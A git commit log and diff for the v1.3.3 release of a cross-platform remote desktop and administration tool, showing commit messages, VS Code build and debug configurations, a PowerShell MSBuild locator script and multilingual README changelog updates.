39 Commits

Author SHA1 Message Date
yuanyuanxiang
95946e0e6a Release v1.3.3 2026-05-10 20:01:13 +02:00
yuanyuanxiang
ab7a16bec5 Feature: Support building macOS client via "Build-Dialog" 2026-05-10 19:46:48 +02:00
yuanyuanxiang
9acd141cab Fix: Modern Terminal blank under SYSTEM; precise reason in info list 2026-05-10 17:36:46 +02:00
yuanyuanxiang
153cbddcf6 Fix: V2 file transfer broken via FileManager dialog (both directions) 2026-05-10 13:50:04 +02:00
yuanyuanxiang
d46176f4ef Refactor: extract Linux/macOS client shared code into common 2026-05-10 10:15:14 +02:00
yuanyuanxiang
70354e244c Improve: Add adaptive screen algorithm option and set to default
Fix: send Windows client path/username as UTF-8 (consistent with CLIENT_CAP_UTF8), keep client ID stable across upgrade
2026-05-09 23:13:24 +02:00
yuanyuanxiang
a354f1ed86 Improve: Embed Modern Terminal DLL in master's resources
Fix: keep Linux/macOS client alive across server restarts; gate all commands on auth-verified state to neutralize unauthorized servers
2026-05-09 00:43:55 +02:00
yuanyuanxiang
f85cc8b86c Fix: Linux client UTF-8 path/active-window garbled on server 2026-05-08 14:03:45 +02:00
yuanyuanxiang
bc06fd5af5 Feature: Linux/macOS server-identity gate via libsign.a
fix remote-cursor flicker on Windows controller
2026-05-08 12:39:59 +02:00
yuanyuanxiang
731ff7a894 Feature: right-click region screenshot in non-control mode 2026-05-08 09:27:19 +02:00
yuanyuanxiang
566f5b8d42 Feature: screen preview thumbnail on host double-click
Server sends COMMAND_SCREEN_PREVIEW_REQ when user double-clicks an
active (non-Locked/Inactive) host that advertises CLIENT_CAP_SCREEN_PREVIEW.
Client BitBlts primary screen, encodes to JPEG via GDI+ and replies. The
existing STATIC tooltip is replaced with a self-drawn CPreviewTipWnd
showing the thumbnail above the host info text, with wide-character
rendering so the popup also works on non-Chinese servers.

- Quality tiers reuse QualityProfile pattern: PreviewProfile + 6 levels
  driven by GetTargetQualityLevel (FRP-aware), with 4K/ultrawide auto
  upscale on Ultra/High tiers up to min(screenWidth/4, 1280).
- Client limits to 1 in-flight capture via atomic counter to defend
  against flood/DoS; Send2Server is already mutex-serialized.
- Server validates responses by reqId only (single in-flight tip);
  4s arrival timeout marks "preview unavailable" without blocking the
  text fallback path.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 18:17:28 +02:00
yuanyuanxiang
70a6b0128e Fix: log list header click was sorting host list (longstanding cross-talk)
ON_NOTIFY(HDN_ITEMCLICK, 0, ...) matches the inner header control's ID,
which is 0 for both m_CList_Online and m_CList_Message. So clicks on
either list's header reach OnHdnItemclickList, which always sorts the
host list by the clicked column index.

The cross-talk has existed since the initial migration commit (5a325a2).
It went unnoticed because pre-0aa7588 both lists' headers triggered the
handler in A mode and the columns happened to align (host list cols 0..2
== IP/Addr/Location, log list also has 3 cols), so log-header clicks
appeared to "sort plausibly". After 0aa7588 only the log list's A-mode
header reached the handler, surfacing the strange "click log header
re-sorts hosts" behavior.

Guard the handler by checking pNMHDR->hwndFrom against the online list's
header HWND. Log header clicks now have no effect on the host list.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 10:47:05 +02:00
yuanyuanxiang
b252cbbaf2 Fix: header sort broken after LVM_SETUNICODEFORMAT (also map HDN_ITEMCLICKW)
The i18n commit (0aa7588) enabled LVM_SETUNICODEFORMAT(TRUE) on the online
list. That flag also flips the embedded header control to Unicode mode, so
header notifications switch from HDN_ITEMCLICKA (= HDN_ITEMCLICK in MBCS
build) to HDN_ITEMCLICKW. The existing ON_NOTIFY mapping only handles the
A version, so clicking the column header silently does nothing.

Add a parallel ON_NOTIFY for HDN_ITEMCLICKW dispatching to the same handler.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 10:37:24 +02:00
yuanyuanxiang
5f4fb62d20 Fix: tray icon not showing in Release service+agent mode (drop NIF_GUID)
NIF_GUID binds the tray icon to the EXE's full path. Once a GUID is
registered for one path, Shell_NotifyIcon(NIM_ADD) silently fails for any
other path using the same GUID. This caused Debug-vs-Release builds and
service+agent dual-process scenarios to fight over the same GUID slot.

Drop NIF_GUID and the static NOTIFY_ICON_GUID; revert to the traditional
(hWnd, uID) identification. The icon is freshly registered per process
launch, no path binding, no cross-instance interference.

The NIF_GUID was leftover from the AUMID/Toast experiment that was later
reverted; only the tray-icon side of that change wasn't cleaned up.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 00:17:32 +02:00
yuanyuanxiang
ef8165c3b4 Feature: sub-connection auth (TOKEN_CONN_AUTH) with HMAC + clientID binding
Client first packet on every sub-connection signs (clientID || timestamp ||
nonce) and waits for server ack. Server verifies signature and pins clientID
on the sub-connection ctx, eliminating IP-reverse-lookup unreliability for
NAT/localhost scenarios. Sub-conn coverage: Win 12 sites, Linux/macOS 3-4
each. Main connection keeps existing TOKEN_LOGIN flow unchanged.

Includes:
- Protocol structs sized to 512/256 bytes with reserved space for future
  extensions (locale, OS info, session token, etc.)
- 5-min timestamp tolerance (Kerberos-grade replay window)
- 10-sec client wait for cross-pacific / weak-network tolerance
- Fix RemoveFromHostList side-effect ordering: MarkDeviceOffline and
  m_ActiveWndW.erase now only fire when ctx is actually removed from
  m_HostList, preventing sub-conn disconnects from misreporting main as
  offline (regression introduced by auth-set clientID on sub ctx)
- Fix latent bug: IOCPClient::m_conn was never assigned in ctor, leaving
  GetConnectionAddress() always NULL and FileManager V2 transfer's
  srcClientID always 0

Breaking change: new client cannot use sub-features against old server.
New server tolerates legacy clients (no auth). Future tightening can reject
unauthenticated sub-connections via IsAuthenticated() flag.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-07 00:04:40 +02:00
yuanyuanxiang
2c5b5ad628 Improve: client/server - stable client ID via MachineGuid+path (V2) 2026-05-06 21:32:06 +02:00
yuanyuanxiang
0aa75882d1 i18n: UTF-8 protocol capability + Unicode rendering on server 2026-05-06 19:29:02 +02:00
yuanyuanxiang
11434653e9 Feature: Add debug configuration for Microsoft VS Code 2026-05-06 09:51:17 +02:00
yuanyuanxiang
05a9bb1245 Feature: Allow external resource override from res/ directory 2026-05-05 21:21:38 +02:00
yuanyuanxiang
a89f8dd28f Feature: Add zoom functionality for remote desktop viewer in non-control mode 2026-05-05 15:09:16 +02:00
yuanyuanxiang
6113b4653d Fix: Resend login info after group change for macOS/Linux clients 2026-05-05 13:35:02 +02:00
yuanyuanxiang
f11fc93ba8 Feature: Embed language resources, disk files act as optional patches 2026-05-05 13:22:47 +02:00
yuanyuanxiang
773c78ac0f Improve master authorization logs and web remote desktop cursor 2026-05-05 12:46:05 +02:00
yuanyuanxiang
92f3df8464 Perf: Optimize macOS screen capture with CGDisplayStream
Core optimization:
- Use CGDisplayStream instead of per-frame CGDisplayCreateImage
- Push model: CPU sleeps when screen is static (condition_variable wait)
- IOSurface capture avoids expensive image creation per frame
- ~47% CPU reduction during active remote desktop (45% → 24%)

Additional optimizations:
- vImageVerticalReflect (SIMD) replaces manual row-by-row flip
- Cache CGColorSpaceRef to avoid per-frame creation/release
- Cache tempBuffer to avoid per-frame memory allocation
- Throttle getCursorTypeIndex to 250ms (Accessibility API is expensive)

Bug fixes:
- Fix unreliable screen capture permission check (use actual capture test)
- Improve permission logging

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-03 23:36:23 +02:00
yuanyuanxiang
b732f841d0 fix(server): Prevent crash from dangling pointers in file dialog map
Fixed two bugs when closing ScreenSpyDlg with file transfer dialogs:

1. Access violation (0xC0000005): CDlgFileSend self-destructs via
   PostNcDestroy (delete this) when closed, leaving dangling pointers
   in m_FileRecvDlgs map.

2. Double-free: Original code called DestroyWindow() then delete,
   but DestroyWindow already triggers delete this via PostNcDestroy.

Solution:
- Store {HWND, pointer} pairs instead of raw pointers
- Check HWND validity with IsWindow() before accessing pointer
- Use SendMessage(WM_CLOSE) to let dialog self-destruct safely
- Always erase map entries to prevent accumulation of invalid data

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-05-03 15:29:31 +02:00
yuanyuanxiang
1df2a7b321 feat(macos): Add clipboard support to match Linux implementation 2026-05-03 13:53:58 +02:00
yuanyuanxiang
3d8e90da14 Feature: Add daemon mode (-d) support for macOS 2026-05-03 13:35:30 +02:00
yuanyuanxiang
12e2a33062 Fix: Prevent reconnect crash by clearing callback before destruction 2026-05-03 13:16:02 +02:00
yuanyuanxiang
a8b0932080 Feature: Implement Linux cursor type detection using XFixes extension 2026-05-03 12:58:29 +02:00
yuanyuanxiang
ca37fa419a Feat: Implement H264 for Linux client with dynamic libx264 loading 2026-05-03 12:15:22 +02:00
yuanyuanxiang
36423b1c7c Refactor: Move FileManager to common, add macOS file management support 2026-05-03 10:30:30 +02:00
yuanyuanxiang
a3611d9fc1 Feature: Add terminal support for macOS client with shared PTYHandler 2026-05-03 09:33:47 +02:00
yuanyuanxiang
9ae5529458 Fix: Ensure MFC and Web remote desktop sessions are fully independent 2026-05-02 19:16:30 +02:00
yuanyuanxiang
171fa750e5 Feature: Persist group name to config file and include in login info 2026-05-02 19:14:21 +02:00
yuanyuanxiang
8ed9ba8426 Fix: Wake display on remote desktop start when macOS is locked 2026-05-02 19:14:14 +02:00
yuanyuanxiang
fd3838a151 Feature: filter device visibility by allowed groups for web user 2026-05-02 00:30:08 +02:00
yuanyuanxiang
56419f8ecb Fix: MFC remote desktop touchpad two-finger scroll not working 2026-05-01 23:25:32 +02:00
yuanyuanxiang
bb6fd7b1b9 Feature: Add user idle and screen lock detection for macOS 2026-05-01 23:20:46 +02:00
yuanyuanxiang
3607f1d768 Feature: Add power management to keep macOS client always responsive 2026-05-01 21:43:55 +02:00
89 changed files with 7062 additions and 1004 deletions

11
.gitignore vendored
View File

@@ -74,3 +74,14 @@ test/build/
docs/MultiLayerLicense_Design.md docs/MultiLayerLicense_Design.md
docs/MultiLayerLicense_Implementation.md docs/MultiLayerLicense_Implementation.md
docs/_CodeReference.md docs/_CodeReference.md
linux/CMakeFiles/*
Releases/*
*.log
*.txt
linux/Makefile
linux/cmake_install.cmake
.vs
docs/macOS_Support_Design.md
settings.local.json
*.zip
*.lic

43
.vscode/build.ps1 vendored Normal file
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@@ -0,0 +1,43 @@
param(
[Parameter(Mandatory = $true)]
[string]$Target,
[ValidateSet("Debug", "Release")]
[string]$Configuration = "Debug",
[ValidateSet("x64", "x86", "Win32")]
[string]$Platform = "x64"
)
$ErrorActionPreference = "Stop"
$vswhere = Join-Path ${env:ProgramFiles(x86)} "Microsoft Visual Studio\Installer\vswhere.exe"
if (-not (Test-Path $vswhere)) {
Write-Host "ERROR: vswhere.exe not found at $vswhere" -ForegroundColor Red
Write-Host "Install Visual Studio Installer (comes with VS 2017+)." -ForegroundColor Yellow
exit 1
}
$msbuild = & $vswhere -latest -prerelease -products * `
-requires Microsoft.Component.MSBuild `
-find 'MSBuild\**\Bin\MSBuild.exe' | Select-Object -First 1
if (-not $msbuild) {
Write-Host "ERROR: MSBuild not found via vswhere" -ForegroundColor Red
exit 1
}
$sln = Join-Path $PSScriptRoot "..\YAMA.sln" | Resolve-Path
Write-Host "MSBuild : $msbuild" -ForegroundColor Cyan
Write-Host "Solution: $sln" -ForegroundColor Cyan
Write-Host "Target : $Target | $Configuration | $Platform" -ForegroundColor Cyan
Write-Host ""
& $msbuild $sln.Path `
"/t:$Target" `
"/p:Configuration=$Configuration" `
"/p:Platform=$Platform" `
/m /v:minimal /nologo
exit $LASTEXITCODE

61
.vscode/c_cpp_properties.json vendored Normal file
View File

@@ -0,0 +1,61 @@
{
"version": 4,
"configurations": [
{
"name": "Win32",
"intelliSenseMode": "windows-msvc-x64",
"compilerPath": "cl.exe",
"cStandard": "c11",
"cppStandard": "c++17",
"windowsSdkVersion": "10.0.19041.0",
"includePath": [
"${workspaceFolder}",
"${workspaceFolder}/client",
"${workspaceFolder}/common",
"${workspaceFolder}/compress",
"${workspaceFolder}/compress/ffmpeg",
"${workspaceFolder}/server/2015Remote",
"${workspaceFolder}/server/2015Remote/proxy",
"${workspaceFolder}/client/d3d",
"${env:VLDPATH}/include"
],
"defines": [
"_WIN32",
"_WINDOWS",
"_DEBUG",
"_MBCS",
"ZLIB_WINAPI",
"_CRT_SECURE_NO_WARNINGS",
"_AFXDLL",
"_USRDLL"
],
"browse": {
"path": [
"${workspaceFolder}/client",
"${workspaceFolder}/common",
"${workspaceFolder}/compress",
"${workspaceFolder}/server"
],
"limitSymbolsToIncludedHeaders": true
}
},
{
"name": "Linux (WSL)",
"intelliSenseMode": "linux-gcc-x64",
"compilerPath": "/usr/bin/g++",
"cStandard": "c11",
"cppStandard": "c++11",
"includePath": [
"${workspaceFolder}",
"${workspaceFolder}/client",
"${workspaceFolder}/common",
"${workspaceFolder}/compress",
"${workspaceFolder}/linux",
"${workspaceFolder}/linux/mterm"
],
"defines": [
"__linux__"
]
}
]
}

8
.vscode/extensions.json vendored Normal file
View File

@@ -0,0 +1,8 @@
{
"recommendations": [
"ms-vscode.cpptools",
"ms-vscode-remote.remote-wsl",
"ms-vscode.powershell",
"twxs.cmake"
]
}

86
.vscode/launch.json vendored Normal file
View File

@@ -0,0 +1,86 @@
{
"version": "0.2.0",
"configurations": [
{
"name": "Yama (Debug x64)",
"type": "cppvsdbg",
"request": "launch",
"program": "${workspaceFolder}/Bin/Yama_x64d.exe",
"args": [
"-agent"
],
"stopAtEntry": false,
"cwd": "${workspaceFolder}/Bin",
"environment": [],
"preLaunchTask": "Build Yama (Debug x64)",
"symbolSearchPath": "${workspaceFolder}/Bin;${workspaceFolder}/x64/Debug",
"sourceFileMap": {
"${workspaceFolder}": "${workspaceFolder}"
}
},
{
"name": "Yama (Attach)",
"type": "cppvsdbg",
"request": "attach",
"processId": "${command:pickProcess}"
},
{
"name": "ghost (Debug x64)",
"type": "cppvsdbg",
"request": "launch",
"program": "${workspaceFolder}/x64/Debug/ghost.exe",
"args": [],
"stopAtEntry": false,
"cwd": "${workspaceFolder}/x64/Debug",
"environment": [],
"console": "externalTerminal",
"preLaunchTask": "Build ghost (Debug x64)"
},
{
"name": "TestRun (Debug x64)",
"type": "cppvsdbg",
"request": "launch",
"program": "${workspaceFolder}/x64/Debug/TestRun.exe",
"args": [],
"stopAtEntry": false,
"cwd": "${workspaceFolder}/x64/Debug",
"environment": [],
"console": "externalTerminal",
"preLaunchTask": "Build TestRun (Debug x64)"
},
{
"name": "ghost (Linux WSL)",
"type": "cppdbg",
"request": "launch",
"program": "/mnt/c/github/YAMA/linux/ghost",
"args": [],
"stopAtEntry": false,
"cwd": "/mnt/c/github/YAMA/linux",
"environment": [],
"externalConsole": false,
"MIMode": "gdb",
"miDebuggerPath": "/usr/bin/gdb",
"pipeTransport": {
"pipeCwd": "${workspaceFolder}",
"pipeProgram": "C:\\Windows\\System32\\wsl.exe",
"pipeArgs": [
"-e",
"bash",
"-c"
],
"debuggerPath": "/usr/bin/gdb"
},
"sourceFileMap": {
"/mnt/c/github/YAMA": "${workspaceFolder}"
},
"setupCommands": [
{
"description": "Enable pretty-printing for gdb",
"text": "-enable-pretty-printing",
"ignoreFailures": true
}
],
"preLaunchTask": "Build ghost (Linux WSL)"
}
]
}

109
.vscode/tasks.json vendored Normal file
View File

@@ -0,0 +1,109 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "Build Yama (Debug x64)",
"type": "shell",
"command": "powershell",
"args": [
"-NoProfile",
"-ExecutionPolicy",
"Bypass",
"-File",
"${workspaceFolder}\\.vscode\\build.ps1",
"-Target",
"Yama",
"-Configuration",
"Debug",
"-Platform",
"x64"
],
"problemMatcher": [
"$msCompile"
],
"group": "build",
"presentation": {
"reveal": "silent",
"panel": "dedicated",
"clear": true
}
},
{
"label": "Build ghost (Debug x64)",
"type": "shell",
"command": "powershell",
"args": [
"-NoProfile",
"-ExecutionPolicy",
"Bypass",
"-File",
"${workspaceFolder}\\.vscode\\build.ps1",
"-Target",
"ghost",
"-Configuration",
"Debug",
"-Platform",
"x64"
],
"problemMatcher": [
"$msCompile"
],
"group": "build",
"presentation": {
"reveal": "silent",
"panel": "dedicated",
"clear": true
}
},
{
"label": "Build TestRun (Debug x64)",
"type": "shell",
"command": "powershell",
"args": [
"-NoProfile",
"-ExecutionPolicy",
"Bypass",
"-File",
"${workspaceFolder}\\.vscode\\build.ps1",
"-Target",
"TestRun",
"-Configuration",
"Debug",
"-Platform",
"x64"
],
"problemMatcher": [
"$msCompile"
],
"group": "build",
"presentation": {
"reveal": "silent",
"panel": "dedicated",
"clear": true
}
},
{
"label": "Build ghost (Linux WSL)",
"type": "process",
"command": "wsl",
"args": [
"-e",
"bash",
"-c",
"cmake -DCMAKE_BUILD_TYPE=Debug . && make -j$(nproc)"
],
"options": {
"cwd": "${workspaceFolder}\\linux"
},
"problemMatcher": [
"$gcc"
],
"group": "build",
"presentation": {
"reveal": "always",
"panel": "dedicated",
"clear": true
}
}
]
}

View File

@@ -494,33 +494,71 @@ make
**系统要求** **系统要求**
- macOS 10.15 (Catalina) 及以上 - macOS 10.15 (Catalina) 及以上
- 架构支持Intel (x64) 和 Apple Silicon (arm64) 通用二进制
- 需要授予系统权限:屏幕录制、辅助功能、完全磁盘访问 - 需要授予系统权限:屏幕录制、辅助功能、完全磁盘访问
**功能支持** **功能支持**
| 功能 | 状态 | 实现 | | 功能 | 状态 | 实现 |
|------|------|------| |------|------|------|
| 远程桌面 | ✅ | CoreGraphics 屏幕捕获H.264 硬件编码 | | 远程桌面 | ✅ | CoreGraphics 屏幕捕获,VideoToolbox H.264 硬件编码 |
| 鼠标控制 | ✅ | CGEvent 模拟,支持双击、拖拽 | | 鼠标控制 | ✅ | CGEvent 模拟,支持双击、拖拽 |
| 键盘控制 | ✅ | CGEvent 模拟,完整键码映射 | | 键盘控制 | ✅ | CGEvent 模拟,完整键码映射 |
| 光标同步 | ✅ | 实时同步远程光标样式 | | 光标同步 | ✅ | 实时同步远程光标样式 |
| 远程终端 | ✅ | PTY 交互式 Shellzsh/bash |
| 文件管理 | ✅ | 双向传输、V2 协议、大文件支持 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 | | 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 文件管理 | | 开发中 | | 分组管理 | | 持久化配置文件 |
| 远程终端 | ⏳ | 开发中 | | 进程管理 | ⏳ | 开发中 |
| 剪贴板 | ⏳ | 开发中 |
**编译方式** **编译方式**
```bash ```bash
cd macos cd macos
mkdir build && cd build ./build.sh
cmake .. # 或手动编译:
make # mkdir build && cd build && cmake .. && make
``` ```
--- ---
## 更新日志 ## 更新日志
### v1.3.3 (2026.5.10)
**Linux/macOS 客户端深化 & 双层认证安全 & 跨平台共享代码重构**
**新功能:**
- **服务端身份校验Layer 1**Linux/macOS 客户端 HMAC-SHA256 校验服务端身份,未授权服务端无法触发任何子连接
- **子连接认证Layer 2TOKEN_CONN_AUTH**:所有子连接首包签名 + clientID 钉死,解决 NAT/127.0.0.1 路由错位
- **Linux 客户端**H.264 硬件编码(动态加载 libx264、XFixes 光标类型检测、UTF-8 协议能力位
- **macOS 客户端**:文件管理器、远程终端(共享 PTYHandler、剪贴板同步、守护进程模式 (-d)、电源管理、屏幕锁定/空闲检测、CGDisplayStream 推送模式优化
- **主控**屏幕预览缩略图、区域截图、远程桌面缩放、Web 用户按组过滤、嵌入式现代终端、自适应屏幕算法、外部资源覆盖、分组持久化、Build Dialog 支持生成 macOS 客户端
**重构:**
- Linux/macOS 客户端共享代码抽到 `common/`rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread减少 ~300 行重复
**改进:**
- 现代终端 SYSTEM 兼容:自动回退到经典终端,信息列表给出精确原因
- `build.ps1` 增加 `vswhere` 兜底VS 装非默认盘也能找到)
- 强制 `/source-charset:utf-8 /execution-charset:.936` 解决英语 Windows 编译中文乱码
- macOS `install.sh` 源 binary 优先级优化(命令行 → 同目录 → build/bin适配分发场景
**Bug 修复:**
- V2 文件传输在文件管理器对话框双向均损坏(上传 IP 路由错乱 + 下载 chunk 未分发)
- 现代终端在 SYSTEM 权限下空白WebView2 不支持 LocalSystem
- Linux 客户端 UTF-8 路径/活动窗口在服务端乱码
- 日志列表表头点击错排序到主机列表
- LVM_SETUNICODEFORMAT 后表头排序失效(补充 HDN_ITEMCLICKW 映射)
- 服务+代理 Release 模式托盘图标不显示
- macOS/Linux 客户端分组变更后未重发 LOGIN_INFOR
- 文件对话框 map 野指针崩溃
- 重连时未清回调导致访问已销毁 handler 崩溃
- MFC 与 Web 远程桌面会话未完全独立
- macOS 锁屏状态远程桌面启动时未唤醒显示器
- MFC 远程桌面触控板双指滚动失效
### v1.3.2 (2026.5.1) ### v1.3.2 (2026.5.1)
**macOS 客户端 & Web 远程桌面增强** **macOS 客户端 & Web 远程桌面增强**

View File

@@ -479,33 +479,71 @@ make
**System Requirements**: **System Requirements**:
- macOS 10.15 (Catalina) or later - macOS 10.15 (Catalina) or later
- Architecture: Universal Binary (Intel x64 + Apple Silicon arm64)
- Required permissions: Screen Recording, Accessibility, Full Disk Access - Required permissions: Screen Recording, Accessibility, Full Disk Access
**Feature Support**: **Feature Support**:
| Feature | Status | Implementation | | Feature | Status | Implementation |
|---------|--------|----------------| |---------|--------|----------------|
| Remote Desktop | ✅ | CoreGraphics screen capture, H.264 hardware encoding | | Remote Desktop | ✅ | CoreGraphics screen capture, VideoToolbox H.264 hardware encoding |
| Mouse Control | ✅ | CGEvent simulation, supports double-click, drag | | Mouse Control | ✅ | CGEvent simulation, supports double-click, drag |
| Keyboard Control | ✅ | CGEvent simulation, full keycode mapping | | Keyboard Control | ✅ | CGEvent simulation, full keycode mapping |
| Cursor Sync | ✅ | Real-time remote cursor style synchronization | | Cursor Sync | ✅ | Real-time remote cursor style synchronization |
| Remote Terminal | ✅ | PTY interactive shell (zsh/bash) |
| File Management | ✅ | Bidirectional transfer, V2 protocol, large file support |
| Heartbeat/RTT | ✅ | RFC 6298 RTT estimation | | Heartbeat/RTT | ✅ | RFC 6298 RTT estimation |
| File Management | | In development | | Group Management | | Persistent configuration file |
| Remote Terminal | ⏳ | In development | | Process Management | ⏳ | In development |
| Clipboard | ⏳ | In development |
**Build Instructions**: **Build Instructions**:
```bash ```bash
cd macos cd macos
mkdir build && cd build ./build.sh
cmake .. # Or manually:
make # mkdir build && cd build && cmake .. && make
``` ```
--- ---
## Changelog ## Changelog
### v1.3.3 (2026.5.10)
**Linux/macOS Client Maturation & Two-Layer Auth & Cross-Platform Code Refactor**
**New Features:**
- **Server Identity Verification (Layer 1)**: Linux/macOS clients verify server via HMAC-SHA256; unauthorized server cannot trigger any sub-connection
- **Sub-Connection Auth (Layer 2, TOKEN_CONN_AUTH)**: All sub-connections sign first packet + clientID pinned, eliminates NAT/127.0.0.1 routing mismatches
- **Linux Client**: H.264 hardware encoding (dynamic libx264 loading), XFixes cursor type detection, UTF-8 protocol capability bit
- **macOS Client**: File manager, remote terminal (shared PTYHandler), clipboard sync, daemon mode (-d), power management, screen lock/idle detection, CGDisplayStream push-mode optimization
- **Master**: Screen preview thumbnail, region screenshot, remote desktop zoom, Web user group filtering, embedded modern terminal, adaptive screen algorithm, external resource override, group name persistence, Build Dialog support for generating macOS client
**Refactor:**
- Linux/macOS client shared code extracted to `common/` (rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread), ~300 lines duplication removed
**Improvements:**
- Modern Terminal SYSTEM compatibility: auto fallback to classic terminal with precise reason in info list
- `build.ps1` adds `vswhere` fallback (finds VS installed on non-default drives)
- Force `/source-charset:utf-8 /execution-charset:.936` to fix Chinese garbling when compiling on English Windows
- macOS `install.sh` source binary priority optimized (command-line → script dir → build/bin), better suits distribution scenarios
**Bug Fixes:**
- V2 file transfer broken in both directions in FileManager dialog (upload IP routing errors + download chunks not dispatched)
- Modern Terminal blank under SYSTEM (WebView2 does not support LocalSystem)
- Linux client UTF-8 path/active-window garbled on server
- Log list header click incorrectly sorted host list
- Header sort broken after LVM_SETUNICODEFORMAT (HDN_ITEMCLICKW mapping added)
- Tray icon not showing in Release service+agent mode
- macOS/Linux clients did not resend LOGIN_INFOR after group change
- File dialog map dangling pointer crashes
- Reconnect crash from not clearing callback before destruction
- MFC and Web remote desktop sessions not fully independent
- macOS locked screen: display not woken on remote desktop start
- MFC remote desktop touchpad two-finger scroll not working
### v1.3.2 (2026.5.1) ### v1.3.2 (2026.5.1)
**macOS Client & Web Remote Desktop Enhancement** **macOS Client & Web Remote Desktop Enhancement**

View File

@@ -478,33 +478,71 @@ make
**系統要求** **系統要求**
- macOS 10.15 (Catalina) 及以上 - macOS 10.15 (Catalina) 及以上
- 架構支援Intel (x64) 和 Apple Silicon (arm64) 通用二進位
- 需要授予系統權限:螢幕錄製、輔助使用、完全磁碟存取 - 需要授予系統權限:螢幕錄製、輔助使用、完全磁碟存取
**功能支援** **功能支援**
| 功能 | 狀態 | 實作 | | 功能 | 狀態 | 實作 |
|------|------|------| |------|------|------|
| 遠端桌面 | ✅ | CoreGraphics 螢幕擷取H.264 硬體編碼 | | 遠端桌面 | ✅ | CoreGraphics 螢幕擷取,VideoToolbox H.264 硬體編碼 |
| 滑鼠控制 | ✅ | CGEvent 模擬,支援雙擊、拖曳 | | 滑鼠控制 | ✅ | CGEvent 模擬,支援雙擊、拖曳 |
| 鍵盤控制 | ✅ | CGEvent 模擬,完整鍵碼對應 | | 鍵盤控制 | ✅ | CGEvent 模擬,完整鍵碼對應 |
| 游標同步 | ✅ | 即時同步遠端游標樣式 | | 游標同步 | ✅ | 即時同步遠端游標樣式 |
| 遠端終端 | ✅ | PTY 互動式 Shellzsh/bash |
| 檔案管理 | ✅ | 雙向傳輸、V2 協定、大檔案支援 |
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 | | 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
| 檔案管理 | | 開發中 | | 分組管理 | | 持久化設定檔 |
| 遠端終端 | ⏳ | 開發中 | | 程序管理 | ⏳ | 開發中 |
| 剪貼簿 | ⏳ | 開發中 |
**編譯方式** **編譯方式**
```bash ```bash
cd macos cd macos
mkdir build && cd build ./build.sh
cmake .. # 或手動編譯:
make # mkdir build && cd build && cmake .. && make
``` ```
--- ---
## 更新日誌 ## 更新日誌
### v1.3.3 (2026.5.10)
**Linux/macOS 用戶端深化 & 雙層認證安全 & 跨平台共享程式碼重構**
**新功能:**
- **服務端身分校驗Layer 1**Linux/macOS 用戶端 HMAC-SHA256 校驗服務端身分,未授權服務端無法觸發任何子連線
- **子連線認證Layer 2TOKEN_CONN_AUTH**:所有子連線首包簽章 + clientID 鎖定,解決 NAT/127.0.0.1 路由錯位
- **Linux 用戶端**H.264 硬體編碼(動態載入 libx264、XFixes 游標類型偵測、UTF-8 協議能力位
- **macOS 用戶端**:檔案管理員、遠端終端機(共享 PTYHandler、剪貼簿同步、守護程序模式 (-d)、電源管理、螢幕鎖定/閒置偵測、CGDisplayStream 推送模式最佳化
- **主控**螢幕預覽縮圖、區域截圖、遠端桌面縮放、Web 使用者依群組過濾、嵌入式現代終端、自適應螢幕演算法、外部資源覆蓋、群組持久化、Build Dialog 支援產生 macOS 用戶端
**重構:**
- Linux/macOS 用戶端共享程式碼抽到 `common/`rtt_estimator / client_auth_state / posix_net_helpers / sub_conn_thread減少約 300 行重複
**改進:**
- 現代終端 SYSTEM 相容:自動回退到經典終端,資訊列表給出精確原因
- `build.ps1` 新增 `vswhere` 兜底VS 裝在非預設磁碟也能找到)
- 強制 `/source-charset:utf-8 /execution-charset:.936` 解決英語 Windows 編譯中文亂碼
- macOS `install.sh` 來源 binary 優先順序最佳化(命令列 → 同目錄 → build/bin適配分發場景
**Bug 修復:**
- V2 檔案傳輸在檔案管理器對話方塊雙向均損壞(上傳 IP 路由錯亂 + 下載 chunk 未分發)
- 現代終端在 SYSTEM 權限下空白WebView2 不支援 LocalSystem
- Linux 用戶端 UTF-8 路徑/作用視窗在服務端亂碼
- 日誌列表表頭點擊錯誤排序到主機列表
- LVM_SETUNICODEFORMAT 後表頭排序失效(補充 HDN_ITEMCLICKW 對應)
- 服務+代理 Release 模式系統匣圖示不顯示
- macOS/Linux 用戶端群組變更後未重發 LOGIN_INFOR
- 檔案對話方塊 map 中野指標導致崩潰
- 重連時未清回呼導致存取已銷毀 handler 崩潰
- MFC 與 Web 遠端桌面工作階段未完全獨立
- macOS 鎖屏狀態遠端桌面啟動時未喚醒顯示器
- MFC 遠端桌面觸控板雙指捲動失效
### v1.3.2 (2026.5.1) ### v1.3.2 (2026.5.1)
**macOS 用戶端 & Web 遠端桌面增強** **macOS 用戶端 & Web 遠端桌面增強**

View File

@@ -43,6 +43,18 @@ foreach ($pattern in $msBuildPaths) {
} }
} }
# 兜底:默认路径找不到(例如 VS 装在 D 盘)时,用 vswhere 反查。
# vswhere.exe 由 VS Installer 维护,固定在 %ProgramFiles(x86)% 下,与 VS 本体盘符无关。
if (-not $msBuild) {
$vswhere = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe"
if (Test-Path $vswhere) {
$found = & $vswhere -latest -products * -requires Microsoft.Component.MSBuild `
-find "MSBuild\**\Bin\MSBuild.exe" 2>$null |
Select-Object -First 1
if ($found) { $msBuild = $found }
}
}
if (-not $msBuild) { if (-not $msBuild) {
Write-Host "ERROR: MSBuild not found." -ForegroundColor Red Write-Host "ERROR: MSBuild not found." -ForegroundColor Red
Write-Host "" Write-Host ""

View File

@@ -199,6 +199,7 @@
<ClCompile Include="RegisterOperation.cpp" /> <ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="SafeThread.cpp" /> <ClCompile Include="SafeThread.cpp" />
